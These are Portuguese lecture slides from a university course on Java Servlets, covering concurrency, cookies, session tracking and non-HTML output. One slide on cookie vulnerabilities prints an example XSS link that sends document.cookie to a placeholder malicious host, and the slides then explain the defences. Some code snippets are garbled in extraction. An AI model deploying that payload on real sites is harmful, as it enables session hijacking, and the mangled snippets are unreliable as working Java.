Aula 8: Servlets (III) Diego Passos Universidade Federal Fluminense Técnicas de Projeto e Implementação de Sistemas II Diego Passos (UFF) Servlets (III) TEPIS II 1 / 30
Última Aula Respostas de requisições. Inicialização de Servlets. Filtros. Diego Passos (UFF) Servlets (III) TEPIS II 2 / 30
Nesta Aula Concorrência. Cookies. Sessões. Conteúdo não-html. Diego Passos (UFF) Servlets (III) TEPIS II 3 / 30
Concorrência Relembrando o ciclo de vida típico de um Servlet: Primeira requisição ao Servlet chega ao container. Container verifica que não possui uma instância ativa daquele Servlet. Container instancia classe do Servlet. Container chama o método init() sobre o objeto recém instanciado. Container chama o método service() passando a requisição. Para as próximas requisições, o mesmo objeto pode ser reutilizado. Em outras palavras, pode haver múltiplas chamadas simultâneas ao método service(). Se o Servlet acessa/atualiza informações compartilhadas nestas múltiplas chamadas, pode haver condições de corrida. Diego Passos (UFF) Servlets (III) TEPIS II 4 / 30
Evitando Condições de Corrida Se o Servlet usa apenas variáveis locais ao método service, não há problema. Variáveis locais fazem parte da pilha de execução de uma thread específica. Por definição, não são compartilhadas. No entanto, Servlets são geralmente mais complexos. Acessam ou modificam informações persistentes. Acessam variáveis da própria classe. Acessam métodos de outras classes que podem não ser thread-safe. Diego Passos (UFF) Servlets (III) TEPIS II 5 / 30
Evitando Condições de Corrida (II) Antes da versão 2.4, a API de Servlets definia a interface SingleThreadModel. Esta interface não definia nenhum método. Se um Servlet implementasse a interface, containers não chamavam o método service de forma paralela. Isso reduzia os problemas de condição de corrida. Mas não os solucionava completamente. Atributos de sessão ou contexto ainda podiam sofrer alterações concorrentes. Resultado: a interface foi marcada como deprecated a partir da versão 2.4. Diego Passos (UFF) Servlets (III) TEPIS II 6 / 30
Evitando Condições de Corrida (III) Solução mais geral: blocos do tipo synchronized. Os blocos synchronized são uma das maneiras de se definir uma região crítica em Java. Define-se um objeto sob o qual a sincronização deve ser realizada (em geral, o próprio Servlet). Se uma linha de código dentro de um bloco sincronizado está atualmente em execução, outras threads são proibidas de entrar em qualquer bloco sincronizado sob o mesmo objeto. synchronized(this) { if (req.getparameter("withdraw")!= null && amt < act.balance) act.balance -= amt; if (req.getparameter("deposit")!= null && amt > 0) act.balance += amt; } Diego Passos (UFF) Servlets (III) TEPIS II 7 / 30
Cookies Cookies são um mecanismo que permite que uma aplicação ou site armazene dados no cliente. Quantidade de dados que podem ser armazenados é pequena. Browsers são obrigados a suportar cookies de, no máximo, 4KB. Cada site (domínio) pode definir 50 cookies. No total, cerca de 3000. Uso mais comum para os cookies: Armazenar informação de identificação do usuário. Algumas vezes para autenticação, outras apenas para manter preferências do usuário. Em ambos os casos, é comum fazer tracking de sessão. Diego Passos (UFF) Servlets (III) TEPIS II 8 / 30
Criando Cookies Do ponto de vista do servidor, cookies são criados incluindo um cabeçalho na resposta HTTP. Exemplo: HTTP/1.0 200 OK Content-type: text/html Set-Cookie: name=value Set-Cookie: name2=value2; Expires=Wed, 09 Jun 2021 10:18:14 GMT Sempre que o browser acessa páginas do mesmo domínio, cookie é enviado nas requisições: GET /index.html HTTP/1.1 Host: www.uff.br Cookie: name=value; name2=value2 Accept: */* Diego Passos (UFF) Servlets (III) TEPIS II 9 / 30
Estrutura de um Cookie Um cookie é um par do tipo <nome,valor>. Mas ele pode ter também atributos. Exemplos: Escopo do cookie: domínio ou caminho para o qual o cookie tem validade. Data de expiração: até quando o cookie é valido. Atributo Secure: cookie só deve ser transmitido através de conexões criptografadas. Atributo HttpOnly: cookie só é exposto através de HTTP (não permite, por exemplo, acesso do cookie via Javascript). Diego Passos (UFF) Servlets (III) TEPIS II 10 / 30
Cookies: Vulnerabilidades Cookies são muito usados na Internet atual. Mas podem ser explorados por uma série de tipos de ataque. Um dos tipos de ataque mais comuns é o roubo de cookies através de cross-site scripting. Exemplo: Suponha que determinado site utilize autenticação baseada em cookies. Ao final do processo de autenticação, site envia token armazenado em cookie. Suponha ainda que o site permita que usuários postem conteúdos com tags HTML a serem vistos por outros usuários. Usuário malicioso poderia postar o seguinte código: <a href="#" onclick="window.location= http://host.malicioso.com/cookies.cgi?= +escape(document.cookie); return false;">clique aqui!</a> Diego Passos (UFF) Servlets (III) TEPIS II 11 / 30
Cookies: Vulnerabilidades (II) Se o usuário clica no link malicioso, cookies da página atual são enviados para o servidor remoto. Atacante pode obter o token de autenticação e sequestrar a sessão do usuário legítimo. Outras informações sensíveis podem ser obtidas. Soluções: Sites que permitem a geração de conteúdo pelo usuário devem filtrar conteúdo HTML/Javascript. Sites podem usar o atributo HttpOnly nos seus cookies. Diego Passos (UFF) Servlets (III) TEPIS II 12 / 30
Manipulação de Cookies por Servlets Servlet poderia manipular cookies diretamente na forma de cabeçalho HTTP. Método setheader() para criar cookies. Método getheader() para ler cookies já criados. Mas a API de Servlets fornece ferramentas de alto nível para manipulação de cookies. Classe javax.servlet.http.cookie: representação de um cookie como classe Java. Método addcookie() da classe httpservletresponse. Método getcookie() da classe httpservletrequest. Diego Passos (UFF) Servlets (III) TEPIS II 13 / 30
Manipulação de Cookies por Servlets: Exemplo de Leitura Cookie[] cookies; cookies = req.getcookies(); String userid = null; for (int i = 0; i < cookies.length; i++) if (cookies[i].getname().equals("userid")) userid = cookies[i].getattribute(); Diego Passos (UFF) Servlets (III) TEPIS II 14 / 30
Manipulação de Cookies por Servlets: Criação Cookies enviados pelo cliente podem ser lidos a qualquer momento. Mas a criação de um cookie deve ser feita antes que qualquer conteúdo seja enviado na resposta. Quando um Servlet envia algum conteúdo de resposta, container está livre para fazer um flush do cabeçalho HTTP. Exemplo de criação de um cookie: String userid = createuserid(); Cookie c = Cookie("userid", userid); resp.addcookie(c); Diego Passos (UFF) Servlets (III) TEPIS II 15 / 30
Manipulação de Cookies por Servlets: Configurando o Domínio Por padrão, browsers armazenam o endereço exato da página que gerou um cookie. Cookie só é enviado para aquela página específica. Algumas vezes, no entanto, aplicações utilizam vários hosts (servidores) diferentes. Alguns para servir imagens, outros para autenticação,... Outras vezes, múltiplos servidores são usados para balanceamento de carga. Independente do motivo, pode ser desejável alterar o endereço associado a um cookie. Método setdomain(): altera o domínio associado a um cookie. Exemplo: String userid = createuserid(); Cookie c = Cookie("userid", userid); c.setdomain(".uff.br"); // Aceita "www.uff.br" e "mail.uff.br", mas não "www.midiacom.uff.br" resp.addcookie(c); Diego Passos (UFF) Servlets (III) TEPIS II 16 / 30
Manipulação de Cookies por Servlets: Configurando o Caminho Além do domínio, o caminho especificado em uma URL também filtra para onde são mandados cookies. Exemplo: Cookie gerado em http://www.uff.br/cursos/bsi/index.html. É enviado para http://www.uff.br/cursos/bsi/disciplinas/index.html. Mas não para http://www.uff.br/cursos/index.html. Algumas vezes, deseja-se alterar a abrangência de um cookie. Método setpath(): altera o caminho associado a um cookie. Exemplo: String userid = createuserid(); Cookie c = Cookie("userid", userid); c.setdomain(".uff.br"); // Aceita "www.uff.br" e "mail.uff.br", mas não "www.midiacom.uff.br" c.setpath("/"); // Aceita qualquer página. resp.addcookie(c); Diego Passos (UFF) Servlets (III) TEPIS II 17 / 30
Track de Sessão Aplicações Web muitas vezes utilizam múltiplas páginas. Ou ao menos múltiplas requisições para uma mesma página. Geralmente, é preciso determinar que estas múltiplas requisições pertencem a um mesmo usuário. Mais especificamente, uma mesma sessão. Problema: a Internet é de maneira geral baseada em padrões e protocolos stateless. Interações são atômicas. Dispositivos não precisam guardar estado das comunicações. Simplifica processamento. Reduz consumo de memória. Mas como proceder quando é essencial manter o estado? Diego Passos (UFF) Servlets (III) TEPIS II 18 / 30
Track de Sessão: Soluções Comuns Soluções comuns para este problema incluem as seguintes abordagens: Incluir campos de formulário invisíveis nas páginas para enviar estado de uma requisição para outra. Escrita e leitura de cookies de sessão. Reescrita de URLs para manter informação sobre o estado da sessão. Soluções complicadas que requerem geração de código específico por parte do desenvolvedor. Diego Passos (UFF) Servlets (III) TEPIS II 19 / 30
Track de Sessão: Servlets A API de Servlets provê classes e métodos específicos para facilitar o track de sessão. Usuário pode utilizar a API para delegar tarefa de fazer o track da sessão para o servidor. Visão geral do funcionamento: Quando um cliente se conecta pela primeira vez a um Servlet, este pode criar um objeto do tipo javax.servlet.http.httpsession. Servlet pode guardar informação neste objeto e recuperá-la em acessos subsequentes. Depois de um tempo de inatividade, o objeto de sessão é destruído. Diego Passos (UFF) Servlets (III) TEPIS II 20 / 30
Track de Sessão: Servlets Método getsession(boolean): recupera ou cria um contexto para a sessão atual. Definido na classe HttpServletRequest. Verifica se há um contexto já definido para a sessão atual. Em caso afirmativo, retorna um HttpSession. Caso contrário, comportamento depende do valor do parâmetro: Se true, cria e retorna um objeto HttpSession. Se false, retorna null. Diego Passos (UFF) Servlets (III) TEPIS II 21 / 30
Track de Sessão: Como o Servidor Realiza Embora a ideia seja da API tornar o processo transparente, isso nem sempre é tão simples. Servidor precisa implementar um dos métodos tradicionais para manter estado da sessão. A primeira opção é quase sempre utilizar cookies. De forma transparante, quando o objeto HttpSession é criado, servidor inclui um cookie na resposta do servlet. Cookie contém um session ID. Session ID é usado para indexar o objeto HttpSession correspondente. Problema: cookies nem sempre são suportados pelo cliente. Alguns browsers podem não suportar. Usuário pode desabilitar. Diego Passos (UFF) Servlets (III) TEPIS II 22 / 30
Track de Sessão: Método encodeurl() Quando cookies não são suportados, servidor podem utilizar a reescrita de URL. Session ID é colocado no final da URL como um parâmetro. A cada requisição, servidor faz o parse da URL para extrair o ID. Neste caso, intervenção do desenvolvedor é necessária. Se o Servlet inclui alguma referência (URL) na resposta para o usuário, é preciso colocar o ID ao final (no formato correto). Isso é feito automaticamente através do método encodeurl(): out.println("<a href=\"" + res.encodeurl("/servlet/chckoutservlet") + "\">Check Out</a>"); Se não é preciso incluir o ID, o método retorna a string sem modificação. Para redirecionamentos (método sendredirect()), use encoderedirecturl(). Diego Passos (UFF) Servlets (III) TEPIS II 23 / 30
Track de Sessão: Obtendo Informação sobre a Sessão A informação mais básica que se pode obter sobre uma sessão é o ID. Método getid() do objeto HttpSession. O ID é uma String única para cada sessão. Em muitas aplicações, é suficiente. Aplicação pode usar o ID para indexar outras informações em repositórios próprios. Diego Passos (UFF) Servlets (III) TEPIS II 24 / 30
Track de Sessão: Obtendo Informação sobre a Sessão (II) A API permite também o armazenamento de objetos quaisquer no objeto de sessão. Métodos setattribute() e getattribute(). Similares aos métodos de mesmo nome usados para manipular o contexto do Servlet. Desenvolvedor especifica uma string (de livre escolha) como nome do atributo. Qualquer Servlet no mesmo servidor pode acessar os atributos da sessão. Exemplo: session.setattribute("myservlet.hitcount", new Integer(34));... Integer hits = (Integer)session.getAttribute("myservlet.hitcount"); Diego Passos (UFF) Servlets (III) TEPIS II 25 / 30
Track de Sessão: A Classe HttpSessionBindingListener O objeto de uma sessão pode ser destruído sem que os Servlets sejam avisados. Por exemplo, depois de um timeout. Neste caso, todos os objetos associados a sessão são também destruídos. Algumas vezes, é interessante executar algum código quando um determinado objeto é desassociado da sessão atual. Exemplo: Servlet abriu arquivo e o associou à sessão. É desejável fechar o arquivo. Para este tipo de situação, a API define a interface HttpSessionBindingListener. Diego Passos (UFF) Servlets (III) TEPIS II 26 / 30
Track de Sessão: A Classe HttpSessionBindingListener (II) Quando um objeto que implementa a esta interface é associado ou desassociado do objeto da sessão, métodos do objeto são chamados. Especificamente, dois métodos: valuebound(): objeto foi associado à sessão. valueunbound(): objeto foi desassociado da sessão. Dentro da implementação destes métodos, o desenvolvedor pode fazer quaisquer inicializações ou liberações de recurso necessárias. Diego Passos (UFF) Servlets (III) TEPIS II 27 / 30
Track de Sessão: A Classe HttpSessionBindingListener (III) class FileHolder implements HttpSessionBindingListener { FileReader file; public FileHolder(FileReader file) { } this.file = file; public FileReader getfile() { } return(file); public void valuebound(httpsessionbindingevent event) { } public void valueunbound(httpsessionbindingevent event) { } } file.close(); Diego Passos (UFF) Servlets (III) TEPIS II 28 / 30
Gerando Conteúdo não HTML Servlets HTTP podem gerar conteúdos de tipos quaisquer. Desde que possam ser definidos através de um cabeçalho MIME. Multi-Purpose Internet Mail Extensions. Cabeçalhos MIME são compostos de um tipo e um subtipo. Há vários valores padrão para diversos tipos de conteúdo; text/plain. image/png. video/mpeg.... Tipo deve ser definido com o método setcontenttype no objeto de resposta. Diego Passos (UFF) Servlets (III) TEPIS II 29 / 30
Gerando Conteúdo não HTML (II) Uma vez definido o tipo, basta que o Servlet envie os bytes desejados para o cliente. Há duas formas de fazer isso: Através de um objeto do tipo PrintWriter, obtido pelo método getwriter(). Para conteúdo ASCII. Através de um objeto do tipo ServletOutputStream, obtido pelo método getoutputstream(). Para conteúdo binário. Diego Passos (UFF) Servlets (III) TEPIS II 30 / 30